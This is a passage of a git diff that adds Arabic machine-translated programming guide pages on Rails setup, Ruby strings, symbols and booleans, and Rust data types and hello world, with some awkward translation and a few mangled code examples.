+
+*   إذا كنت ترغب في استخدام MySQL `shell $ rails new <application_name> -d mysql`
+*   إذا كنت ترغب في استخدام بوستجرس `shell $ rails new <application_name> -d postgresql`
+
+1.  سيقوم هذا الأمر بإنشاء مجلد _باسم _التطبيق_ الخاص بك_ الذي أبلغته في الأمر الأخير. الخطوة التالية هي الانتقال إلى الدليل الجديد الذي أنشأته للتو:
+
+ `$ cd your_application_name 
+` 
+
+3.  احصل على الجواهر والحزم اللازمة قبل تشغيل التطبيق الخاص بك:
+
+ `$ bundle install 
+` 
+
+4.  لتشغيل خادم سكك الحديد ومعرفة ما إذا كان كل شيء يسير على هذا النحو سريعًا أيضًا:
+
+ `$ rails server 
+` 
+
+لا يمكن أن يكون الأمر بسيطا بعد الآن! حسنًا ، هذا ليس صحيحًا بنسبة 100٪ ، يمكننا جعله أصغر من خلال تقليل أمر `rails server` إلى:
+
+ `$ rails s 
+` 
+
+5.  الآن ، مع المتصفح المفضل لديك ، انتقل إلى `http://localhost:3000` وستشاهد: "Yay! أنت على القضبان!"
+
+### طريقة بديلة لإنشاء تطبيق Rails
+
+1.  قم بإنشاء دليل جديد:
+    
+     `$ mkdir <application_name> 
+    ` 
+    
+2.  اذهب إلى الدليل الجديد:
+    
+     `$ cd <application_name> 
+    ` 
+    
+3.  قم بإنشاء تطبيق Rails باستخدام تدوين النقطة Unix. ينتج عن هذا تعيين اسم الدليل إلى التطبيق الجديد.
+    
+     `$ rails new . 
+    ` 
+    
+4.  ابدأ في استكشاف إطار التطبيق الذي أنشأته للتو. يتم تنظيم بنية المجلد وفقًا للجدول أدناه:
+    
+
+| ملف / مجلد | الغرض |  
+| ----------- | ------- |  
+| التطبيق / | يحتوي على وحدات التحكم ، والنماذج ، وجهات النظر ، والمساعدين ، والرسائل البريدية ، والقنوات ، والوظائف والممتلكات الخاصة بتطبيقك. سوف تركز على هذا المجلد لما تبقى من هذا الدليل. |  
+| بن / | يحتوي على النص البرمجي للسكك الحديدية الذي يبدأ تطبيقك ويمكن أن يحتوي على نصوص برمجية أخرى تستخدمها في إعداد التطبيق أو تحديثه أو نشره أو تشغيله. |  
+| config / | قم بتكوين مسارات التطبيق وقاعدة البيانات والمزيد. يتم تناول ذلك بمزيد من التفصيل في تكوين تطبيقات Rails. |  
+| config.ru | تهيئة الحامل للخوادم القائمة على Rack والمستخدمة لبدء التطبيق. |  
+| ديسيبل / | يحتوي على مخطط قاعدة البيانات الحالي ، بالإضافة إلى عمليات ترحيل قاعدة البيانات. |  
+| Gemfile ، Gemfile.lock | تتيح لك هذه الملفات تحديد تبعيات الأحجار الكريمة اللازمة لتطبيق Rails. يتم استخدام هذه الملفات بواسطة جوهرة Bundler. لمزيد من المعلومات حول Bundler ، راجع موقع Bundler. |  
+| lib / | الوحدات الموسعة للتطبيق الخاص بك. |  
+| سجل / | ملفات سجل التطبيق. |  
+| عام / | المجلد الوحيد الذي يراه العالم كما هو. يحتوي على ملفات ثابتة والأصول المترجمة. |  
+| Rakefile | يحدد هذا الملف موقع المهام التي يمكن تشغيلها من سطر الأوامر ويقوم بتحميلها. يتم تعريف تعريفات المهمة في جميع أنحاء مكونات القضبان. بدلاً من تغيير Rakefile ، يجب إضافة المهام الخاصة بك عن طريق إضافة ملفات إلى دليل lib / tasks الخاص بالتطبيق. |  
+| README.md | هذا دليل تعليمات موجزة لتطبيقك. يجب عليك تحرير هذا الملف لإخبار الآخرين بما يفعله تطبيقك ، وكيفية إعداده ، وما إلى ذلك. |  
+| اختبار / | اختبارات الوحدة والتركيبات وأجهزة الاختبار الأخرى. يتم تغطيتها في تطبيقات اختبار القضبان. |  
+| تمة / | ملفات مؤقتة (مثل ذاكرة التخزين المؤقت وملفات pid). |  
+| بائع / | مكان لكل رمز الطرف الثالث. في تطبيق Rails نموذجي يتضمن هذا الأحجار الكريمة المورِّد. |  
+| .gitignore | يخبر هذا الملف git الملفات (أو الأنماط) التي يجب تجاهلها. انظر جيثب - تجاهل الملفات لمزيد من المعلومات حول تجاهل الملفات. |
+
+أفضل مكان للبدء في هذا الإطار الرائع هو قراءة [صفحة "الخطوات الأولى"](http://guides.rubyonrails.org/getting_started.html) .
+
+## اتفاقية على التكوين
+
+تعني _الاتفاقية على التكوين_ أن مطور البرامج يحتاج فقط إلى تحديد جوانب غير تقليدية من التطبيق. على سبيل المثال ، إذا كان هناك فئة `Sale` في النموذج ، يسمى الجدول المقابل في قاعدة البيانات `sales` بشكل افتراضي. فقط إذا كان أحد ينحرف عن هذه الاتفاقية ، مثل استدعاء "المنتجات المباعة" للجدول ، يحتاج المطور إلى كتابة كود بخصوص هذه الأسماء. بشكل عام ، تؤدي مؤتمرات Ruby on Rails إلى رموز أقل وتكرار أقل.
+
+## ما هو MVC؟
+
+يحتوي النموذج (السجل النشط) على منطق الأعمال ويتفاعل مع قاعدة البيانات. المشاهدات (مشاهدات الإجراءات) جميع ملفات HTML وهيكلها. تتفاعل وحدة التحكم (متحكم العمل) مع وجهات النظر والطراز لتوجيه إجراءات التطبيق.
+
+## جافة - لا تكرر نفسك
+
+_لا تعيد نفسك_ تعني أن المعلومات تقع في مكان واحد لا لبس فيه. على سبيل المثال ، باستخدام الوحدة النمطية ActiveRecord من Rails ، لا يحتاج المطور إلى تحديد أسماء أعمدة قاعدة البيانات في تعريفات الفئة. بدلاً من ذلك ، يمكن لـ Ruby on Rails استرداد هذه المعلومات من قاعدة البيانات استنادًا إلى اسم الفئة.
+
+## روبي على القضبان مفتوح المصدر
+
+ليس فقط للاستخدام المجاني ، بل يمكنك أيضًا المساعدة في تحسينه. أكثر من 4500 شخص قد ساهموا بالفعل بكود في [القضبان](https://github.com/rails/rails) . إنه أسهل مما تظن أنه واحد منهم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-string-interpolation/index.md b/client/src/guide/arabic/ruby/ruby-string-interpolation/index.md
new file mode 100644
index 0000000000..e602f5c7db
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-string-interpolation/index.md
@@ -0,0 +1,27 @@
+---
+title: Ruby String Interpolation
+localeTitle: روبي السلسلة الاستيفاء
+---
+# الاستيفاء سلسلة
+
+يوفر الاستيفاء سلسلة صيغة أكثر قابلية للقراءة وموجزة لبناء السلاسل. قد تكون على دراية بالتسلسل عبر الطرق `+` أو `<<` :
+
+ `"Hello " + "World!" #=> Hello World 
+ "Hello " << "World!" #=> Hello World 
+` 
+
+يوفر الاستيفاء سلسلة طريقة لتضمين رمز Ruby مباشرة في سلسلة:
+
+ `place = "World" 
+ "Hello #{place}!" #=> Hello World! 
+ 
+ "4 + 4 is #{4 + 4}" #=> 4 + 4 is 8 
+` 
+
+يتم تقييم كل شيء بين `#{` و `}` برمز روبي. للقيام بذلك ، يجب أن يكون محاطًا بالسلسلة علامات اقتباس مزدوجة ( `"` ).
+
+ستقوم علامات الاقتباس المفردة بإرجاع السلسلة الصحيحة داخل علامات الاقتباس:
+
+ `place = "World" 
+ 'Hello #{place}!' #=> Hello #{place}! 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-string-methods/index.md b/client/src/guide/arabic/ruby/ruby-string-methods/index.md
new file mode 100644
index 0000000000..ea91c648a0
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-string-methods/index.md
@@ -0,0 +1,138 @@
+---
+title: Ruby String Methods
+localeTitle: طرق سلسلة روبي
+---
+## طرق سلسلة روبي
+
+لدى Ruby العديد من الأساليب المضمنة للعمل مع السلاسل. تكون السلاسل في Ruby بشكل افتراضي قابلة للتغيير ، ويمكن تغييرها في المكان أو يمكن إرجاع سلسلة جديدة من طريقة.
+
+### الطول:
+
+*   الخاصية `.length` بإرجاع عدد الأحرف في سلسلة بما في ذلك المسافة البيضاء. `ruby "Hello".length #=> 5 "Hello World!".length #=> 12`
+
+### فارغة:
+
+*   . `.empty?` إرجاع الأسلوب `true` إذا كان طول سلسلة صفرية. `ruby "Hello".empty? #=> false "!".empty? #=> false " ".empty? #=> false "".empty? #=> true`
+
+### عدد المشاهدات:
+
+*   `.count` طريقة `.count` عدد المرات التي يتم فيها العثور على حرف (أحرف) معينة في سلسلة.
+*   هذه الطريقة حساسة لحالة الأحرف. `ruby "HELLO".count('L') #=> 2 "HELLO WORLD!".count('LO') #=> 1`
+
+### إدراج:
+
+*   إدراج الأسلوب `.insert` سلسلة في سلسلة أخرى قبل فهرس معين. `ruby "Hello".insert(3, "hi5") #=> Helhi5lo # "hi5" is inserted into the string right before the second 'l' which is at index 3`
+
+### الاستهلالية:
+
+*   تقوم طريقة `.upcase` بتحويل كل الحروف في سلسلة إلى أحرف كبيرة. `ruby "Hello".upcase #=> HELLO`
+
+### Downcase:
+
+*   `.downcase` أسلوب `.downcase` كل الحروف في سلسلة إلى أحرف صغيرة. `ruby "Hello".downcase #=> hello`
+
+### Swapcase
+
+*   `.swapcase` أسلوب `.swapcase` الأحرف الكبيرة في سلسلة إلى أحرف صغيرة `.swapcase` صغيرة إلى أحرف كبيرة. `ruby "hELLO wORLD".swapcase #=> Hello World`
+
+### الاستفادة:
+
+*   تجعل طريقة `.capitalize` الحرف الأول في سلسلة أحرف كبيرة وبقية السلسلة الصغيرة. `ruby "HELLO".capitalize #=> Hello "HELLO, HOW ARE YOU?".capitalize #=> Hello, how are you?`
+
+_لاحظ أن الحرف الأول يتم تكبيره فقط إذا كان في بداية السلسلة._ `ruby "-HELLO".capitalize #=> -hello "1HELLO".capitalize #=> 1hello`
+
+### عكس:
+
+*   يعكس الأسلوب `.reverse` ترتيب الأحرف في سلسلة. `ruby "Hello World!".reverse #=> "!dlroW olleH"`
+
+### انشق، مزق:
+
+*   و `.split` يأخذ سلاسل _ويقسم_ أنه في صفيف، ثم إرجاع مجموعة.
+    
+     `"Hello, how are you?".split #=> ["Hello,", "how", "are", "you?"] 
+    ` 
+    
+*   تقسم الطريقة الافتراضية السلسلة استنادًا إلى مسافة بيضاء ، ما لم يتم توفير فاصل مختلف (راجع المثال الثاني). `ruby "Hello".split('-') #=> ["H", "e", "l", "l", "o"]`
+    
+
+### يقطع:
+
+*   الأسلوب `.chop` يزيل الحرف الأخير من السلسلة.
+    
+*   يتم إرجاع سلسلة جديدة ، ما لم تستخدم `.chop!` الطريقة التي تحور السلسلة الأصلية.
+    
+     `"Name".chop #=> Nam 
+    ` 
+    
+     `name = "Batman" 
+     name.chop 
+     name == "Batma" #=> false 
+    ` 
+    
+     `name = "Batman" 
+     name.chop! 
+     name == "Batma" #=> true 
+    ` 
+    
+
+### قطاع:
+
+*   يقوم أسلوب `.strip` بإزالة المسافات البيضاء `.strip` على السلاسل ، بما في ذلك علامات الجدولة ، والخطوط الجديدة ، وإرجاع `.strip` ( `\t` ، `\n` ، `\r` ). `ruby " Hello ".strip #=> Hello`
+
+### أقضم بصوت عالي:
+
+*   يزيل الأسلوب `.chomp` الحرف الأخير في سلسلة ، فقط إذا كان حرف إرجاع أو سطر جديد ( `\r` ، `\n` ).
+*   يتم استخدام هذه الطريقة بشكل شائع مع الأمر `gets` لإزالة العوائد من إدخال المستخدم. ``ruby "hello\r".chomp #=> hello "hello\t".chomp #=> hello\t # because tabs and other whitespace remain intact when using `chomp` ``
+
+### إلى عدد صحيح:
+
+*   تحويل الأسلوب `.to_i` سلسلة إلى عدد صحيح. `ruby "15".to_i #=> 15 # integer`
+
+### Gsub:
+
+*   يستبدل `gsub` كل مرجع للمعلمة الأولى للمعلمة الثانية في سلسلة.
+
+ `"ruby is cool".gsub("cool", "very cool") #=> "ruby is very cool" 
+` 
+
+*   يقبل `gsub` أيضًا الأنماط (مثل _regexp_ ) كمعلمة أولى ، مما يسمح بأشياء مثل:
+
+ `"ruby is cool".gsub(/[aeiou]/, "*") #=> "r*by *sc**l" 
+` 
+
+### سلسلة:
+
+*   يطبق روبي بعض الأساليب لسَلسَط سلسلتين معاً:
+    
+*   طريقة `+` :
+    
+     `"15" + "15" #=> "1515" # string 
+    ` 
+    
+*   الطريقة `<<`
+    
+     `"15" << "15" #=> "1515" # string 
+    ` 
+    
+*   طريقة `concat` : `ruby "15".concat "15" #=> "1515" # string`
+    
+
+### فهرس:
+
+*   في `index` الأسلوب بإرجاع موقف مؤشر occurrance الأول من سلسلة فرعية أو العادية مباراة نمط التعبير في سلسلة.
+    
+*   في حالة عدم وجود تطابق ، يتم إرجاع `nil` .
+    
+*   تشير المعلمة الاختيارية الثانية إلى موضع الفهرس في السلسلة لبدء البحث عن مطابقة.
+    
+     `"information".index('o') #=> 3 
+     "information".index('mat') #=> 5 
+     "information".index(/[abc]/) #=> 6 
+     "information".index('o', 5) #=> 9 
+     "information".index('z') #=> nil 
+    ` 
+    
+
+### واضح:
+
+*   يزيل محتوى السلسلة. `ruby a = "abcde" a.clear #=> ""`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-string-operations/index.md b/client/src/guide/arabic/ruby/ruby-string-operations/index.md
new file mode 100644
index 0000000000..c0cc909188
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-string-operations/index.md
@@ -0,0 +1,43 @@
+---
+title: Ruby String Operations
+localeTitle: عمليات سلسلة روبي
+---
+يمكن تنفيذ كل من السلسة والضرب على السلاسل.
+
+## سلسلة:
+
+*   يمكن ربط السلاسل معًا باستخدام أي من الطرق التالية:
+    
+    *   `+` المشغل
+    *   `<<` مشغل
+    *   `.concat` طريقة
+    
+     `"Hello" + " World" + "!"  #=> Hello World! 
+    ` 
+    
+     `"Hello" << " World!" #=> Hello World! 
+    ` 
+    
+     `string1 = "Hello" 
+     string2 = " World!" 
+     string1.concat(string2) #=> Hello World! 
+    ` 
+    
+
+## عمليه الضرب:
+
+*   يمكن ضرب السلاسل بقيمة صحيحة باستخدام عامل التشغيل `*` . `ruby "Hello" * 3 #=> HelloHelloHello`
+
+## استبدال سلسلة فرعية
+
+*   يمكننا البحث عن سلاسل فرعية أو استخدام Regex للبحث واستبدال الحرف داخل سلسلة. `ruby "Hey mom, look at this string".sub('mom', 'dad') #=> Hey dad, look at this string`
+
+## مقارنة:
+
+*   يمكن مقارنة السلاسل أو إرجاع 1 أو 0 أو 1 أو صفر اعتمادًا على ما إذا كانت السلسلة أقل من أو تساوي أو أكبر من other\_string.
+
+ `"abcdef" <=> "abcde"     #=> 1 
+ "abcdef" <=> "abcdef"    #=> 0 
+ "abcdef" <=> "abcdefg"   #=> -1 
+ "abcdef" <=> "ABCDEF"    #=> 1 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/ruby-symbols/index.md b/client/src/guide/arabic/ruby/ruby-symbols/index.md
new file mode 100644
index 0000000000..ee4d500d1a
--- /dev/null
+++ b/client/src/guide/arabic/ruby/ruby-symbols/index.md
@@ -0,0 +1,122 @@
+---
+title: Ruby Symbols
+localeTitle: روبي الرموز
+---
+## روبي الرموز
+
+يشبه الرمز اسم المتغير ولكنه مسبوقًا بنقطتين. أمثلة -: الإجراء ،: line\_items. ليس عليك أن تعلن عن رمز مسبق وأن تكون مضمونة لتكون فريدة من نوعها. ليس هناك حاجة لتعيين نوع من القيمة لرمز - يعتني روبي بذلك بالنسبة لك. يضمن Ruby أيضًا أنه بغض النظر عن مكان ظهوره في برنامجك ، سيكون له رمز معين نفس القيمة.
+
+بدلاً من ذلك ، يمكنك اعتبار القولون يعني "الشيء المسمى" ، لذلك: id هو "الاسم المسمى id". يمكنك أيضًا التفكير في: id على أنه يعني اسم معرف المتغير ، والمعرف العادي على أنه يعني قيمة المتغير.
+
+على سبيل المثال: إذا كان Fred ثابتًا في سياق واحد ، وطريقة في أخرى ، وفئة في الثلث ، فسيكون الرمز: Fred هو نفس الكائن في جميع السياقات الثلاثة.
+
+ `module One 
+  class Fred 
+  end 
+  $f1 = :Fred 
+ end 
+ module Two 
+  Fred = 1 
+  $f2 = :Fred 
+ end 
+ def Fred() 
+ end 
+ $f3 = :Fred 
+ $f1.object_id   #=> 2514190 
+ $f2.object_id   #=> 2514190 
+ $f3.object_id   #=> 2514190 
+` 
+
+## العمل مع الرموز
+
+يمكنك التعرف على رمز Ruby لأنه سيكون كلمة تبدأ بـ:.
+
+حتى الآن رأيناهم كمفتاح في هاش (العمل مع الزنانير في روبي):
+
+ `person = {:name => "Philip"} 
+` 
+
+لذا ، فإن أول شيء يمكننا القيام به هو فحص الرمز لمعرفة الفئة التي يستخدمها:
+
+ `:hello.class 
+ => Symbol 
+ 
+ "hello".class 
+ => String 
+` 
+
+حتى يمكننا أن نرى أن الرموز والسلاسل هي أمثلة لكائنين مختلفين.
+
+يمكنك الاتصال بأساليب شبيهة `upcase` ، مثل `upcase` ، و `downcase` ، `capitalize` الرموز:
+
+ `:hello.upcase 
+ => :HELLO 
+ 
+ :HELLO.downcase 
+ => :hello 
+ 
+ :hello.capitalize 
+ => :Hello 
+` 
+
+## لماذا تستخدم رمزًا بدلاً من سلسلة؟
+
+إذا كان الرمز مجرد سلسلة غير قابلة للتغيير ، فلماذا تستخدمها ، ولماذا يوجد تمييز خاص في روبي؟
+
+## الرموز هي غير قابل للتغيير
+
+أولاً ، أحد الأسباب الرئيسية هو ، كما ذكرت أعلاه ، أن الرموز غير قابلة للتغيير. يمكن أن تظهر أخطاء غير متوقعة في التطبيق الخاص بك عندما يمكن تغيير قيمة. إذا كنت بحاجة إلى التأكد من عدم تغيير قيمة الكائن أبدًا ، يكون استخدام كائن غير قابل للتغيير أكثر أمانًا.
+
+ومع ذلك ، مع ذلك ، يمكن إجراء سلسلة غير قابلة للتغيير في Ruby عن طريق استدعاء طريقة `freeze` :
+
+ `name = "Philip" 
+ => "Philip" 
+ 
+ name.freeze 
+ => "Philip" 
+ 
+ name << "Jim" 
+ RuntimeError: can't modify frozen String 
+` 
+
+كما ترى في المثال أعلاه ، بمجرد استدعاء طريقة التجميد على مثيل سلسلة ، لن يمكنك تعديله بعد الآن.
+
+فلماذا يمكنك استخدام الرموز بدلاً من السلاسل؟
+
+#### الرموز أفضل للأداء
+
+السبب الثاني وراء استخدامك لـ Symbol على إحدى سلاسل String في مواقف معينة هو أن الرموز أفضل بكثير من حيث الأداء.
+
+فمثلا:
+
+ `philip".object_id 
+ => 70288511587360 
+ "philip".object_id 
+ => 70288504327720 
+ 
+ :philip.object_id 
+ => 539368 
+ :philip.object_id 
+ => 539368 
+` 
+
+عند إنشاء كائنين سلسلة بنفس القيمة ، يتم التعامل مع هذين العنصرين ككائنين مختلفين. عند إنشاء رمز ، سيستخدم الرجوع إلى الرمز دائمًا نفس الكائن.
+
+هذا أفضل بكثير للأداء نظرًا لأنه سيتم إنشاء نفس كائن السلسلة وتدميره مرارًا وتكرارًا ، في حين أنه في الواقع يمكن إعادة استخدام الكائن نفسه في كل مرة.
+
+#### طرق الطبقة العامة
+
+all\_symbols => نقر المصفوفة لتبديل المصدر لإرجاع مجموعة من الرموز الموجودة حاليًا في جدول رمز Ruby.
+
+ `Symbol.all_symbols.size    #=> 903 
+ Symbol.all_symbols[1,20]   #=> [:floor, :ARGV, :Binding, :symlink, 
+                                :chown, :EOFError, :$;, :String, 
+                                :LOCK_SH, :"setuid?", :$<, 
+                                :default_proc, :compact, :extend, 
+                                :Tms, :getwd, :$=, :ThreadGroup, 
+                                :wait2, :$>] 
+` 
+
+#### معلومات اكثر:
+
+[روبي الرموز الوثائق](http://ruby-doc.org/core-2.5.1/Symbol.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/true-false-nil/index.md b/client/src/guide/arabic/ruby/true-false-nil/index.md
new file mode 100644
index 0000000000..065bf8a79f
--- /dev/null
+++ b/client/src/guide/arabic/ruby/true-false-nil/index.md
@@ -0,0 +1,38 @@
+---
+title: True, False, and Nil
+localeTitle: صحيح ، خطأ ، ولا شيء
+---
+# صحيح ، خطأ ، ولا شيء
+
+`true` و `false` و `nil` هي أنواع بيانات مدمجة خاصة في Ruby. يتم تقييم كل من هذه الكلمات الأساسية إلى كائن يمثل المثيل الوحيد للفئة الخاصة به.
+
+ ``true.class 
+ => TrueClass 
+ false.class 
+ => FalseClass 
+ nil.class 
+ => NilClass 
+ ``` 
+ 
+ `true` and `false` are Ruby's native boolean values. A boolean value is a value that can only be one of two possible values: true or not true. The object `true` represents truth, while `false` represents the opposite. You can assign variables to `true` / `false`, pass them to methods, and generally use them as you would other objects (such as numbers, Strings, Arrays, Hashes). 
+ 
+ `nil` is a special value that indicates the absence of a value: it is Ruby's way of referring to "nothing". An example of when you will encounter the `nil` object is when you ask for something that doesn't exist or cannot be found: 
+`` 
+
+ياقوت hats = \["beret" ، "sombrero" ، "beanie" ، "fez" ، "flatcap"\]
+
+القبعات \[0\] => "البيريه" # القبعة في الفهرس 0 القبعات \[2\] => "beanie" # القبعة في الفهرس 2 القبعات \[4\] => "flatcap" # القبعة في الفهرس 4 القبعات \[5\] => لا شيء # لا يوجد قبعة في مؤشر 5 ، المؤشر 5 يحمل شيئا (لا شيء)
+
+ ``Zero is not nothing (it's a number, which is something). Likewise, empty strings, arrays, and hashes are not nothing (they are objects, which happen to be empty). You can call the method `nil?` to check whether an object is nil. 
+`` 
+
+ياقوت 0.nil؟ => خطأ "" .nil؟ => خطأ \[\] .nil؟ => خطأ {} .nil؟ => خطأ nil.nil؟ => صحيح # من المثال أعلاه القبعات \[5\] .nil؟ => صحيح \`\` \`
+
+كل كائن في Ruby له قيمة منطقية ، بمعنى أنه يعتبر صحيحًا أو خطأ في سياق منطقي. تلك التي تعتبر حقيقية في هذا السياق هي "صدق" وأولئك الذين اعتبروا كاذبين "زائفين". في روبي ، _فقط_ `false` و `nil` "زائف" ، كل شيء آخر هو "صدق".
+
+### موارد آخرى
+
+*   https://ruby-doc.org/core-2.3.0/TrueClass.html
+*   https://ruby-doc.org/core-2.3.0/FalseClass.html
+*   https://ruby-doc.org/core-2.3.0/NilClass.html
+*   https://en.wikipedia.org/wiki/Boolean
\ No newline at end of file
diff --git a/client/src/guide/arabic/rust/data-types/index.md b/client/src/guide/arabic/rust/data-types/index.md
new file mode 100644
index 0000000000..883946dc00
--- /dev/null
+++ b/client/src/guide/arabic/rust/data-types/index.md
@@ -0,0 +1,88 @@
+---
+title: Rust Data Types
+localeTitle: أنواع البيانات الصدأ
+---
+يعد فهم نظام كتابة لغة البرمجة أمرًا ضروريًا لبدء استخدام برامج الكتابة. نظام الكتابة هو ببساطة نظام يفرض عليك لغة برمجة لتخزين المعلومات في البيانات. إذا كنت مطورًا قادمًا من C / C ++ ، فقد تكون بعض أنواع البيانات هذه مألوفة لك بالفعل.
+
+دعونا ننظر في أنواع بدائية من الصدأ
+
+* * *
+
+عندما ننظر إلى الصدأ ، نرى لغة تضع المزيد من التركيز على **سلامة الأنواع** . وهذا يعني أن التفاعل والتعامل مع كيفية قيام المبرمج بتخزين البيانات ، يكون المترجم أكثر صرامة ولا يرحم. أحد الأمثلة (التي سنرى قريبا) يتم تقديمها من خلال **التحذيرات** .
+
+الصدأ هو أيضا لغة برمجة مكتوبة بشكل ثابت. هذا يعني أنه عندما يتم ترجمة البرنامج (المعروف أيضًا باسم وقت _التحويل البرمجي_ ) ، يجب معرفة نوع المتغيرات الخاصة بك. الصدأ لديه خيار توفير أنواع _ضمنية_ أو _صريحة_ .
+
+### الأعداد الصحيحة
+
+دعونا نرى كيف تعمل أنواع _ضمنية_ أو _صريحة من_ خلال إعلان عدد صحيح بسيط.
+
+ `let number = 13; 
+` 
+
+أعلنا عن متغيرنا ، `number` ليعادل قيمة 13. عندما نقوم بتجميع ذلك ، يعرف Rust أن نوع الرقم هو `i32` ، المعروف أيضًا باسم عدد صحيح 32 بت. إذا أردنا القيام بذلك _بشكل صريح_ ، يمكننا أن نعلن عن المتغير على النحو التالي:
+
+ `let number: i32 = 13; 
+` 
+
+بالطبع ، `i32` ليس النوع الوحيد الذي يمكننا تحديده. هنا جدول من أنواع `integer` الأخرى التي يمكنك تنفيذها. ضع في اعتبارك أن هذه _ذات حجم ثابت_ ، وعدد البتات المقابل للنوع هو عدد البتات التي يمكن تخزينها في هذا المتغير.
+
+| الحجم | وقعت | غير الموقعة | | ----- | ---- | --- | | 8 بت | i8 | u8 | | 16 بت | i16 | u16 | | 32 بت | i32 | u32 | | 64 بت | i64 | u64 |
+
+تمثل ( `i` prepend) والتوقيع غير الموقعة ( `u` prepend) ما إذا كانت المتغيرات التي نعلن عنها إيجابية أم سلبية ، على التوالي.
+
+لديه الصدأ أيضا `isize` و `usize` نوع، والتي سوف تعتمد على هندسة الكمبيوتر الخاص بك. إذا كنت تستخدم بنية 64 بت ، فسيكون لديك متغير 64 بت. إذا كنت تعمل على بنية 32 بت ، فسوف يكون لديك متغير 32 بت.
+
+### العربات
+
+يحتوي الصدأ أيضًا على دعم للقيم العائمة أو القيم العشرية.
+
+ `let floaty = 3.0; // type is f64 
+` 
+
+المتغير `floaty` أعلن ضمنيا أن يكون `f64` نوع، أو تعويم 64 بت. إذا كنت تريد `f32` ، يمكنك إجبار متغير إما أن يكون صريحًا ، أو إلحاق الكتابة بنهاية قيمة المتغير:
+
+ `let float1: f32 = 4.5; // type is f32 
+ let float2 = 5f32;   // type is f32 
+` 
+
+يمكنك أن ترى أن `float2` هو الآن `f32` ، على الرغم من أنه يحتوي على قيمة غير عشرية. بواسطة إلحاق `f32` ، `float2` لتمثيل نوع `f32` .
+
+## القيم المنطقية
+
+في كل لغة برمجة ، تكون قيم booleans ( `true` و `false` ) موجودة دائمًا بشكل ما. الصدأ لديه دعم لهذا من خلال نوع `bool` .
+
+ `let t = true; 
+ let f: bool = false; 
+` 
+
+## العمليات العددية
+
+مع ذلك ، يمكننا الآن استخدام Rust لإجراء عمليات عددية بسيطة. لاحظ كيف يتم تقييد أنواع الحسابات بالأنواع الخاصة بها فقط.
+
+ `let a = 4 + 5;        // => 9 
+ let b = 5.0 - 4.0;    // => 1.0 
+ let c = 3 * 4.0;      // => ERROR! 
+ let d = 6.0 / 2.0;    // => 3.0 
+ let e = 10 % 4;       // => 2 
+` 
+
+## تحذيرات!
+
+دعونا ننظر إلى بعض المشاكل المحتملة التي يمكن أن تكون موجودة بالفعل في الصدأ. منذ استخدام البيانات بكفاءة والتأكد من أن المتغيرات التي نقوم بإنشائها يتم استخدامها بالفعل ، ستقوم Rust بطرح التحذيرات للمتغيرات غير المستخدمة:
+
+ `fn main(){ 
+  let a = 4; 
+  // and now we close our program. 
+ } 
+` 
+
+الآن إذا قمنا بتشغيل هذا البرنامج:
+
+ ``warning: unused variable: `a` 
+`` 
+
+من المهم أن تتذكر دائمًا استخدام المتغيرات الخاصة بنا ، وإذا لم يكن الأمر كذلك ، فقم بتعليقها أو إزالتها!
+
+## قراءة المزيد:
+
+https://doc.rust-lang.org/book/second-edition/ch03-02-data-types.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/rust/hello-world/index.md b/client/src/guide/arabic/rust/hello-world/index.md
new file mode 100644
index 0000000000..e7b7ac58df
--- /dev/null
+++ b/client/src/guide/arabic/rust/hello-world/index.md
@@ -0,0 +1,49 @@
+---
+title: Hello World
+localeTitle: مرحبا بالعالم
+---
+## مرحبا الصدأ
+
+كتابة أول برنامج صدأ الخاص بك هو سهل تثبيته. في دليل المشروع الذي تختاره ، قم بإنشاء ملف مصدر جديد يسمى `main.rs` من المهم ملاحظة أن ملفات الصدأ تنتهي دائمًا `.rs` الملفات التي تحتوي على أكثر من كلمة واحدة منفصلة مع `.rs` السفلية. على سبيل المثال ، سوف يصبح `helloworld.rs` `hello_world.rs` .
+
+بعد إنشاء `main.rs` ، قم بإضافة التعليمة البرمجية التالية داخل:
+
+ `fn main() { 
+    println!("Hello, world!"); 
+ } 
+` 
+
+نجاح باهر كان ذلك سهلاً ، أليس كذلك؟ داخل الملف `main.rs` الجديد ، ما يلي صحيح:
+
+*   يشير السطر الأول `fn main()` إلى _دالة_ في Rust. المهمة `main` هي خاصة ، هو أول شيء يسمى لكل برنامج صدأ قابل للتنفيذ.
+*   السطر الثاني `println!("Hello, world!")` يقوم باستدعاء _ماكرو_ الصدأ ، تمرير _سلسلة_ كوسيطة أول. يطبع هذا السطر السلسلة "Hello، world!" إلى المحطة. يمكنك معرفة ما إذا كنت تدعو _ماكرو_ الصدأ أو _وظيفة من_ خلال مراقبة `!` .
+
+لتنفيذ البرنامج ، يجب عليك أولاً تجميعه:
+
+ `$ rustc main.rs 
+` 
+
+ستقوم هذه العملية بإنشاء ملف قابل للتنفيذ في نفس الدليل ، والذي يمكنك بعد ذلك تشغيله:
+
+ `$ ./main 
+ Hello, world! 
+` 
+
+تهانينا! لقد كتبت للتو برنامج الصدأ الخاص بك!
+
+## مرحبا الشحن
+
+الشحن هو أداة البناء التي يتم شحنها مع Rust عند تثبيتها ويمكن استخدامها للعديد من الأشياء. هنا سنرى النهج البديل لاستخدام البضائع.
+
+انتقل أولاً إلى الدليل الرئيسي للمشروع الخاص بك وقم بتشغيل `cargo new hello_world` . هذا سيخلق دليل مشروعنا `hello_world` مع بعض الملفات بداخله ، تلك التي هي `Cargo.toml` التي تخبر `cargo` كيفية بناء مشروعك ، وكذلك `src/main.rs` وهو ملف مصدر الصدأ لدينا. إذا قمت بفتح هذا الملف سترى بعض رمز تم إنشاؤه بالفعل لنا لتشغيل مرحبا العالم! لذلك دعونا نفعل ذلك.
+
+لتشغيل البرنامج الخاص بك مع البضائع ، الأمر بسيط مثل تشغيل `cargo run` في دليل المشروع الخاص بك ، ويجب أن يبدو مثل هذا:
+
+ ``cargo run 
+   Compiling hello_world v0.1.0 
+    Finished dev [unoptimized + debuginfo] target(s) in 1.31s 
+     Running `target/debug/hello_world` 
+ Hello, world! 
+`` 
+
+عمل رائع لديك الآن المزيد من الأدوات تحت تصرفك!
\ No newline at end of file
